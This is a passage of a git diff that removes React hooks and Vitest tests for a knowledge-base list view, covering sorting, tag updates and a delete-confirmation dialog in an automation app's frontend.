-                })
-            );
-
-            expect(result.current.convertedRemainingTags).toEqual([
-                {id: 3, name: 'Tag 3'},
-                {id: 4, name: 'Tag 4'},
-            ]);
-        });
-
-        it('handles undefined remainingTags', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemTagList({
-                    knowledgeBaseId: 'kb-1',
-                    remainingTags: undefined,
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.convertedRemainingTags).toBeUndefined();
-        });
-    });
-
-    describe('updateTagsMutation', () => {
-        it('returns update tags mutation', () => {
-            const {result} = renderHook(() =>
-                useKnowledgeBaseListItemTagList({
-                    knowledgeBaseId: 'kb-1',
-                    remainingTags: mockRemainingTags,
-                    tags: mockTags,
-                })
-            );
-
-            expect(result.current.updateTagsMutation).toBe(hoisted.updateTagsMutation);
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseList.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseList.ts
deleted file mode 100644
index f8df6743097..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseList.ts
+++ /dev/null
@@ -1,40 +0,0 @@
-import {KnowledgeBase, KnowledgeBaseTagsEntry, Tag} from '@/shared/middleware/graphql';
-import {useMemo} from 'react';
-
-interface UseKnowledgeBaseListProps {
-    knowledgeBases: KnowledgeBase[];
-    tagsByKnowledgeBaseData: KnowledgeBaseTagsEntry[];
-}
-
-interface UseKnowledgeBaseListResultI {
-    sortedKnowledgeBases: KnowledgeBase[];
-    tagsByKnowledgeBaseMap: Map<string, Tag[]>;
-}
-
-export default function useKnowledgeBaseList({
-    knowledgeBases,
-    tagsByKnowledgeBaseData,
-}: UseKnowledgeBaseListProps): UseKnowledgeBaseListResultI {
-    const tagsByKnowledgeBaseMap = useMemo(() => {
-        const map = new Map<string, Tag[]>();
-
-        tagsByKnowledgeBaseData.forEach((entry) => {
-            map.set(entry.knowledgeBaseId, entry.tags || []);
-        });
-
-        return map;
-    }, [tagsByKnowledgeBaseData]);
-
-    const collator = useMemo(() => new Intl.Collator(undefined, {numeric: true, sensitivity: 'base'}), []);
-
-    const sortedKnowledgeBases = useMemo(() => {
-        return [...knowledgeBases].sort((knowledgeBaseA, knowledgeBaseB) =>
-            collator.compare(knowledgeBaseA.name.trim(), knowledgeBaseB.name.trim())
-        );
-    }, [knowledgeBases, collator]);
-
-    return {
-        sortedKnowledgeBases,
-        tagsByKnowledgeBaseMap,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItem.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItem.ts
deleted file mode 100644
index 577a1318312..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItem.ts
+++ /dev/null
@@ -1,52 +0,0 @@
-import {KnowledgeBase} from '@/shared/middleware/graphql';
-import {MouseEvent, useState} from 'react';
-import {useNavigate} from 'react-router-dom';
-
-interface UseKnowledgeBaseListItemProps {
-    knowledgeBase: KnowledgeBase;
-}
-
-export default function useKnowledgeBaseListItem({knowledgeBase}: UseKnowledgeBaseListItemProps) {
-    const [showDeleteDialog, setShowDeleteDialog] = useState(false);
-    const [showEditDialog, setShowEditDialog] = useState(false);
-
-    const navigate = useNavigate();
-
-    const handleShowDeleteDialog = () => {
-        setShowDeleteDialog(true);
-    };
-
-    const handleCloseDeleteDialog = () => {
-        setShowDeleteDialog(false);
-    };
-
-    const handleEditClick = (event: MouseEvent) => {
-        event.stopPropagation();
-
-        setShowEditDialog(true);
-    };
-
-    const handleEditDialogOpenChange = (open: boolean) => {
-        setShowEditDialog(open);
-    };
-
-    const handleKnowledgeBaseClick = () => {
-        navigate(`/automation/knowledge-bases/${knowledgeBase.id}`);
-    };
-
-    const handleTagListClick = (event: MouseEvent) => {
-        event.preventDefault();
-        event.stopPropagation();
-    };
-
-    return {
-        handleCloseDeleteDialog,
-        handleEditClick,
-        handleEditDialogOpenChange,
-        handleKnowledgeBaseClick,
-        handleShowDeleteDialog,
-        handleTagListClick,
-        showDeleteDialog,
-        showEditDialog,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemDeleteDialog.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemDeleteDialog.ts
deleted file mode 100644
index aef9d25bd4e..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemDeleteDialog.ts
+++ /dev/null
@@ -1,43 +0,0 @@
-import {useToast} from '@/hooks/use-toast';
-import {useDeleteKnowledgeBaseMutation} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-
-interface UseKnowledgeBaseListItemDeleteDialogProps {
-    knowledgeBaseId: string;
-    onClose: () => void;
-}
-
-export default function useKnowledgeBaseListItemDeleteDialog({
-    knowledgeBaseId,
-    onClose,
-}: UseKnowledgeBaseListItemDeleteDialogProps) {
-    const {toast} = useToast();
-    const queryClient = useQueryClient();
-
-    const deleteKnowledgeBaseMutation = useDeleteKnowledgeBaseMutation({
-        onError: () => {
-            toast({description: 'Failed to delete knowledge base.', variant: 'destructive'});
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-
-            toast({description: 'Knowledge base deleted successfully.'});
-        },
-    });
-
-    const handleDeleteClick = () => {
-        deleteKnowledgeBaseMutation.mutate({id: knowledgeBaseId});
-
-        onClose();
-    };
-
-    const handleCancelClick = () => {
-        onClose();
-    };
-
-    return {
-        handleCancelClick,
-        handleDeleteClick,
-        isDeleting: deleteKnowledgeBaseMutation.isPending,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemTagList.ts b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemTagList.ts
deleted file mode 100644
index ccf024ea696..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/hooks/useKnowledgeBaseListItemTagList.ts
+++ /dev/null
@@ -1,91 +0,0 @@
-import {
-    KnowledgeBaseTagsEntry,
-    Tag,
-    TagInput,
-    UpdateKnowledgeBaseTagsInput,
-    useUpdateKnowledgeBaseTagsMutation,
-} from '@/shared/middleware/graphql';
-import {useQueryClient} from '@tanstack/react-query';
-import {useMemo} from 'react';
-
-interface UpdateKnowledgeBaseTagsVarsI {
-    input: UpdateKnowledgeBaseTagsInput;
-}
-
-interface UseKnowledgeBaseListItemTagListProps {
-    knowledgeBaseId: string;
-    remainingTags?: Tag[];
-    tags: Tag[];
-}
-
-export default function useKnowledgeBaseListItemTagList({
-    knowledgeBaseId,
-    remainingTags,
-    tags,
-}: UseKnowledgeBaseListItemTagListProps) {
-    const queryClient = useQueryClient();
-
-    const updateTagsMutation = useUpdateKnowledgeBaseTagsMutation({
-        onError: (_err, _vars, ctx) => {
-            if (ctx?.previous) {
-                queryClient.setQueryData(['knowledgeBaseTagsByKnowledgeBase'], ctx.previous);
-            }
-        },
-        onMutate: async (variables: UpdateKnowledgeBaseTagsVarsI) => {
-            await queryClient.cancelQueries({queryKey: ['knowledgeBaseTagsByKnowledgeBase']});
-
-            const previous = queryClient.getQueryData<{knowledgeBaseTagsByKnowledgeBase: KnowledgeBaseTagsEntry[]}>([
-                'knowledgeBaseTagsByKnowledgeBase',
-            ]);
-
-            const next = (() => {
-                if (!previous?.knowledgeBaseTagsByKnowledgeBase) return previous;
-
-                const withTempIds = (variables.input.tags ?? []).map((tag: TagInput) => ({
-                    ...tag,
-                    id: tag.id ?? -Math.floor(Date.now() + Math.random() * 1000),
-                }));
-
-                const updated = previous.knowledgeBaseTagsByKnowledgeBase.map((entry) =>
-                    entry.knowledgeBaseId === knowledgeBaseId ? {...entry, tags: withTempIds} : entry
-                );
-
-                const hasEntry = previous.knowledgeBaseTagsByKnowledgeBase.some(
-                    (entry) => entry.knowledgeBaseId === knowledgeBaseId
-                );
-
-                return hasEntry
-                    ? {...previous, knowledgeBaseTagsByKnowledgeBase: updated}
-                    : {
-                          ...previous,
-                          knowledgeBaseTagsByKnowledgeBase: [
-                              ...previous.knowledgeBaseTagsByKnowledgeBase,
-                              {knowledgeBaseId, tags: withTempIds},
-                          ],
-                      };
-            })();
-
-            queryClient.setQueryData(['knowledgeBaseTagsByKnowledgeBase'], next);
-
-            return {previous};
-        },
-        onSettled: () => {
-            queryClient.invalidateQueries({queryKey: ['knowledgeBaseTags']});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBaseTagsByKnowledgeBase']});
-            queryClient.invalidateQueries({queryKey: ['knowledgeBases']});
-        },
-    });
-
-    const convertedTags = useMemo(() => tags.map((tag) => ({...tag, id: Number(tag.id)})), [tags]);
-
-    const convertedRemainingTags = useMemo(
-        () => remainingTags?.map((tag) => ({...tag, id: Number(tag.id)})),
-        [remainingTags]
-    );
-
-    return {
-        convertedRemainingTags,
-        convertedTags,
-        updateTagsMutation,
-    };
-}
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseList.test.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseList.test.tsx
deleted file mode 100644
index bd9f20f7e8e..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseList.test.tsx
+++ /dev/null
@@ -1,151 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseList from '../KnowledgeBaseList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBaseList: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseList', () => ({
-    default: hoisted.mockUseKnowledgeBaseList,
-}));
-
-vi.mock('../KnowledgeBaseListItem', () => ({
-    default: ({
-        knowledgeBase,
-        remainingTags,
-        tags,
-    }: {
-        knowledgeBase: {id: string; name: string};
-        remainingTags?: unknown[];
-        tags: unknown[];
-    }) => (
-        <div data-testid={`list-item-${knowledgeBase.id}`}>
-            {knowledgeBase.name} (tags: {tags.length}, remaining: {remainingTags?.length ?? 0})
-        </div>
-    ),
-}));
-
-const mockKnowledgeBases = [
-    {id: 'kb-1', name: 'KB 1'},
-    {id: 'kb-2', name: 'KB 2'},
-];
-
-const mockAllTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-    {id: '3', name: 'Tag 3'},
-];
-
-const mockTagsByKnowledgeBase = [
-    {knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]},
-    {knowledgeBaseId: 'kb-2', tags: [{id: '2', name: 'Tag 2'}]},
-];
-
-const defaultMockReturn = {
-    sortedKnowledgeBases: mockKnowledgeBases,
-    tagsByKnowledgeBaseMap: new Map([
-        ['kb-1', [{id: '1', name: 'Tag 1'}]],
-        ['kb-2', [{id: '2', name: 'Tag 2'}]],
-    ]),
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseList.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseList', () => {
-    it('renders list items for each knowledge base', () => {
-        render(
-            <KnowledgeBaseList
-                allTags={mockAllTags}
-                knowledgeBases={mockKnowledgeBases}
-                tagsByKnowledgeBaseData={mockTagsByKnowledgeBase}
-            />
-        );
-
-        expect(screen.getByTestId('list-item-kb-1')).toBeInTheDocument();
-        expect(screen.getByTestId('list-item-kb-2')).toBeInTheDocument();
-    });
-
-    it('passes correct tags to list items', () => {
-        render(
-            <KnowledgeBaseList
-                allTags={mockAllTags}
-                knowledgeBases={mockKnowledgeBases}
-                tagsByKnowledgeBaseData={mockTagsByKnowledgeBase}
-            />
-        );
-
-        expect(screen.getByTestId('list-item-kb-1')).toHaveTextContent('tags: 1');
-        expect(screen.getByTestId('list-item-kb-2')).toHaveTextContent('tags: 1');
-    });
-
-    it('calculates remaining tags correctly', () => {
-        render(
-            <KnowledgeBaseList
-                allTags={mockAllTags}
-                knowledgeBases={mockKnowledgeBases}
-                tagsByKnowledgeBaseData={mockTagsByKnowledgeBase}
-            />
-        );
-
-        // KB 1 has Tag 1, so remaining should be Tag 2 and Tag 3 = 2
-        expect(screen.getByTestId('list-item-kb-1')).toHaveTextContent('remaining: 2');
-        // KB 2 has Tag 2, so remaining should be Tag 1 and Tag 3 = 2
-        expect(screen.getByTestId('list-item-kb-2')).toHaveTextContent('remaining: 2');
-    });
-
-    it('passes correct props to hook', () => {
-        render(
-            <KnowledgeBaseList
-                allTags={mockAllTags}
-                knowledgeBases={mockKnowledgeBases}
-                tagsByKnowledgeBaseData={mockTagsByKnowledgeBase}
-            />
-        );
-
-        expect(hoisted.mockUseKnowledgeBaseList).toHaveBeenCalledWith({
-            knowledgeBases: mockKnowledgeBases,
-            tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-        });
-    });
-
-    it('handles empty knowledge bases list', () => {
-        hoisted.mockUseKnowledgeBaseList.mockReturnValue({
-            sortedKnowledgeBases: [],
-            tagsByKnowledgeBaseMap: new Map(),
-        });
-
-        render(<KnowledgeBaseList allTags={mockAllTags} knowledgeBases={[]} tagsByKnowledgeBaseData={[]} />);
-
-        expect(screen.queryByTestId('list-item-kb-1')).not.toBeInTheDocument();
-    });
-
-    it('handles knowledge base without tags', () => {
-        hoisted.mockUseKnowledgeBaseList.mockReturnValue({
-            sortedKnowledgeBases: [{id: 'kb-3', name: 'KB 3'}],
-            tagsByKnowledgeBaseMap: new Map(),
-        });
-
-        render(
-            <KnowledgeBaseList
-                allTags={mockAllTags}
-                knowledgeBases={[{id: 'kb-3', name: 'KB 3'}]}
-                tagsByKnowledgeBaseData={[]}
-            />
-        );
-
-        expect(screen.getByTestId('list-item-kb-3')).toHaveTextContent('tags: 0');
-        expect(screen.getByTestId('list-item-kb-3')).toHaveTextContent('remaining: 3');
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItem.test.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItem.test.tsx
deleted file mode 100644
index 6b344eb0be8..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItem.test.tsx
+++ /dev/null
@@ -1,267 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseListItem from '../KnowledgeBaseListItem';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleCloseDeleteDialog: vi.fn(),
-        handleEditClick: vi.fn(),
-        handleEditDialogOpenChange: vi.fn(),
-        handleKnowledgeBaseClick: vi.fn(),
-        handleShowDeleteDialog: vi.fn(),
-        handleTagListClick: vi.fn(),
-        mockUseKnowledgeBaseListItem: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseListItem', () => ({
-    default: hoisted.mockUseKnowledgeBaseListItem,
-}));
-
-vi.mock('../KnowledgeBaseListItemDeleteDialog', () => ({
-    default: ({open}: {open: boolean}) => (open ? <div data-testid="delete-dialog">Delete Dialog</div> : null),
-}));
-
-vi.mock('../KnowledgeBaseListItemTagList', () => ({
-    default: ({knowledgeBaseId}: {knowledgeBaseId: string}) => (
-        <div data-testid={`tag-list-${knowledgeBaseId}`}>Tag List</div>
-    ),
-}));
-
-vi.mock('@/pages/automation/knowledge-base/components/EditKnowledgeBaseDialog', () => ({
-    default: ({open}: {open: boolean}) => (open ? <div data-testid="edit-dialog">Edit Dialog</div> : null),
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        'aria-label': ariaLabel,
-        icon,
-        onClick,
-    }: {
-        'aria-label'?: string;
-        icon?: React.ReactNode;
-        onClick?: () => void;
-        size?: string;
-        variant?: string;
-    }) => (
-        <button aria-label={ariaLabel} onClick={onClick}>
-            {icon}
-        </button>
-    ),
-}));
-
-vi.mock('@/components/ui/dropdown-menu', () => ({
-    DropdownMenu: ({children}: {children: React.ReactNode}) => <div data-testid="dropdown-menu">{children}</div>,
-    DropdownMenuContent: ({children}: {children: React.ReactNode}) => (
-        <div data-testid="dropdown-content">{children}</div>
-    ),
-    DropdownMenuItem: ({children, onClick}: {children: React.ReactNode; className?: string; onClick?: () => void}) => (
-        <button data-testid="dropdown-item" onClick={onClick}>
-            {children}
-        </button>
-    ),
-    DropdownMenuSeparator: () => <hr />,
-    DropdownMenuTrigger: ({
-        children,
-        onClick,
-    }: {
-        asChild?: boolean;
-        children: React.ReactNode;
-        onClick?: (e: React.MouseEvent) => void;
-    }) => (
-        <div data-testid="dropdown-trigger" onClick={onClick}>
-            {children}
-        </div>
-    ),
-}));
-
-vi.mock('@/components/ui/tooltip', () => ({
-    Tooltip: ({children}: {children: React.ReactNode}) => <div>{children}</div>,
-    TooltipContent: ({children}: {children: React.ReactNode}) => <div data-testid="tooltip-content">{children}</div>,
-    TooltipTrigger: ({children}: {children: React.ReactNode}) => <div data-testid="tooltip-trigger">{children}</div>,
-}));
-
-const mockKnowledgeBase = {
-    description: 'Test description',
-    id: 'kb-1',
-    lastModifiedDate: '2024-01-15T10:30:00Z',
-    maxChunkSize: 1024,
-    name: 'Test KB',
-    overlap: 200,
-};
-
-const mockTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockRemainingTags = [{id: '3', name: 'Tag 3'}];
-
-const defaultMockReturn = {
-    handleCloseDeleteDialog: hoisted.handleCloseDeleteDialog,
-    handleEditClick: hoisted.handleEditClick,
-    handleEditDialogOpenChange: hoisted.handleEditDialogOpenChange,
-    handleKnowledgeBaseClick: hoisted.handleKnowledgeBaseClick,
-    handleShowDeleteDialog: hoisted.handleShowDeleteDialog,
-    handleTagListClick: hoisted.handleTagListClick,
-    showDeleteDialog: false,
-    showEditDialog: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseListItem.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseListItem', () => {
-    it('renders knowledge base name', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByText('Test KB')).toBeInTheDocument();
-    });
-
-    it('renders max chunk size', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByText('Max chunk: 1024')).toBeInTheDocument();
-    });
-
-    it('renders overlap', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByText('Overlap: 200')).toBeInTheDocument();
-    });
-
-    it('renders tag list', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByTestId('tag-list-kb-1')).toBeInTheDocument();
-    });
-
-    it('renders last modified date', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getAllByText(/Modified/)[0]).toBeInTheDocument();
-    });
-
-    it('shows Never modified when no lastModifiedDate', () => {
-        const kbWithoutDate = {...mockKnowledgeBase, lastModifiedDate: undefined};
-
-        render(
-            <KnowledgeBaseListItem knowledgeBase={kbWithoutDate} remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(screen.getByText('Never modified')).toBeInTheDocument();
-    });
-
-    it('renders dropdown menu', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByTestId('dropdown-menu')).toBeInTheDocument();
-    });
-
-    it('calls handleKnowledgeBaseClick when item is clicked', async () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        const itemContainer = screen.getByText('Test KB').closest('[class*="cursor-pointer"]');
-        await userEvent.click(itemContainer!);
-
-        expect(hoisted.handleKnowledgeBaseClick).toHaveBeenCalled();
-    });
-
-    it('shows edit dialog when showEditDialog is true', () => {
-        hoisted.mockUseKnowledgeBaseListItem.mockReturnValue({
-            ...defaultMockReturn,
-            showEditDialog: true,
-        });
-
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByTestId('edit-dialog')).toBeInTheDocument();
-    });
-
-    it('shows delete dialog when showDeleteDialog is true', () => {
-        hoisted.mockUseKnowledgeBaseListItem.mockReturnValue({
-            ...defaultMockReturn,
-            showDeleteDialog: true,
-        });
-
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(screen.getByTestId('delete-dialog')).toBeInTheDocument();
-    });
-
-    it('passes correct props to hook', () => {
-        render(
-            <KnowledgeBaseListItem
-                knowledgeBase={mockKnowledgeBase}
-                remainingTags={mockRemainingTags}
-                tags={mockTags}
-            />
-        );
-
-        expect(hoisted.mockUseKnowledgeBaseListItem).toHaveBeenCalledWith({
-            knowledgeBase: mockKnowledgeBase,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemDeleteDialog.test.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemDeleteDialog.test.tsx
deleted file mode 100644
index a5dd5778269..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemDeleteDialog.test.tsx
+++ /dev/null
@@ -1,120 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseListItemDeleteDialog from '../KnowledgeBaseListItemDeleteDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleCancelClick: vi.fn(),
-        handleDeleteClick: vi.fn(),
-        mockUseKnowledgeBaseListItemDeleteDialog: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseListItemDeleteDialog', () => ({
-    default: hoisted.mockUseKnowledgeBaseListItemDeleteDialog,
-}));
-
-vi.mock('@/components/ui/alert-dialog', () => ({
-    AlertDialog: ({children, open}: {children: React.ReactNode; open: boolean}) =>
-        open ? <div data-testid="alert-dialog">{children}</div> : null,
-    AlertDialogAction: ({children, onClick}: {children: React.ReactNode; className?: string; onClick?: () => void}) => (
-        <button data-testid="alert-action" onClick={onClick}>
-            {children}
-        </button>
-    ),
-    AlertDialogCancel: ({children, onClick}: {children: React.ReactNode; className?: string; onClick?: () => void}) => (
-        <button data-testid="alert-cancel" onClick={onClick}>
-            {children}
-        </button>
-    ),
-    AlertDialogContent: ({children}: {children: React.ReactNode}) => <div data-testid="alert-content">{children}</div>,
-    AlertDialogDescription: ({children}: {children: React.ReactNode}) => (
-        <p data-testid="alert-description">{children}</p>
-    ),
-    AlertDialogFooter: ({children}: {children: React.ReactNode}) => <div data-testid="alert-footer">{children}</div>,
-    AlertDialogHeader: ({children}: {children: React.ReactNode}) => <div data-testid="alert-header">{children}</div>,
-    AlertDialogTitle: ({children}: {children: React.ReactNode}) => <h2 data-testid="alert-title">{children}</h2>,
-}));
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseListItemDeleteDialog.mockReturnValue({
-        handleCancelClick: hoisted.handleCancelClick,
-        handleDeleteClick: hoisted.handleDeleteClick,
-    });
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-const mockOnClose = vi.fn();
-
-describe('KnowledgeBaseListItemDeleteDialog', () => {
-    it('renders dialog when open', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(screen.getByTestId('alert-dialog')).toBeInTheDocument();
-    });
-
-    it('does not render dialog when closed', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={false} />);
-
-        expect(screen.queryByTestId('alert-dialog')).not.toBeInTheDocument();
-    });
-
-    it('renders title', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(screen.getByTestId('alert-title')).toHaveTextContent('Are you absolutely sure?');
-    });
-
-    it('renders description', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(screen.getByTestId('alert-description')).toHaveTextContent(
-            'This action cannot be undone. This will permanently delete the knowledge base and all documents it contains.'
-        );
-    });
-
-    it('renders Cancel button', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(screen.getByTestId('alert-cancel')).toHaveTextContent('Cancel');
-    });
-
-    it('renders Delete button', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(screen.getByTestId('alert-action')).toHaveTextContent('Delete');
-    });
-
-    it('calls handleCancelClick when Cancel is clicked', async () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        const cancelButton = screen.getByTestId('alert-cancel');
-        await userEvent.click(cancelButton);
-
-        expect(hoisted.handleCancelClick).toHaveBeenCalled();
-    });
-
-    it('calls handleDeleteClick when Delete is clicked', async () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        const deleteButton = screen.getByTestId('alert-action');
-        await userEvent.click(deleteButton);
-
-        expect(hoisted.handleDeleteClick).toHaveBeenCalled();
-    });
-
-    it('passes correct props to hook', () => {
-        render(<KnowledgeBaseListItemDeleteDialog knowledgeBaseId="kb-1" onClose={mockOnClose} open={true} />);
-
-        expect(hoisted.mockUseKnowledgeBaseListItemDeleteDialog).toHaveBeenCalledWith({
-            knowledgeBaseId: 'kb-1',
-            onClose: mockOnClose,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemTagList.test.tsx b/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemTagList.test.tsx
deleted file mode 100644
index 42e47249810..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/knowledge-base-list/tests/KnowledgeBaseListItemTagList.test.tsx
+++ /dev/null
@@ -1,113 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBaseListItemTagList from '../KnowledgeBaseListItemTagList';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBaseListItemTagList: vi.fn(),
-        updateTagsMutation: {mutate: vi.fn()},
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBaseListItemTagList', () => ({
-    default: hoisted.mockUseKnowledgeBaseListItemTagList,
-}));
-
-vi.mock('@/shared/components/TagList', () => ({
-    default: ({
-        id,
-        remainingTags,
-        tags,
-    }: {
-        getRequest?: unknown;
-        id: number;
-        remainingTags?: unknown[];
-        tags: unknown[];
-        updateTagsMutation?: unknown;
-    }) => (
-        <div data-testid="tag-list">
-            ID: {id}, Tags: {tags.length}, Remaining: {remainingTags?.length ?? 0}
-        </div>
-    ),
-}));
-
-const mockTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockRemainingTags = [{id: '3', name: 'Tag 3'}];
-
-const defaultMockReturn = {
-    convertedRemainingTags: mockRemainingTags.map((tag) => ({...tag, id: Number(tag.id)})),
-    convertedTags: mockTags.map((tag) => ({...tag, id: Number(tag.id)})),
-    updateTagsMutation: hoisted.updateTagsMutation,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBaseListItemTagList.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBaseListItemTagList', () => {
-    it('renders tag list component', () => {
-        render(
-            <KnowledgeBaseListItemTagList knowledgeBaseId="123" remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(screen.getByTestId('tag-list')).toBeInTheDocument();
-    });
-
-    it('passes converted id to TagList', () => {
-        render(
-            <KnowledgeBaseListItemTagList knowledgeBaseId="123" remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(screen.getByTestId('tag-list')).toHaveTextContent('ID: 123');
-    });
-
-    it('passes converted tags to TagList', () => {
-        render(
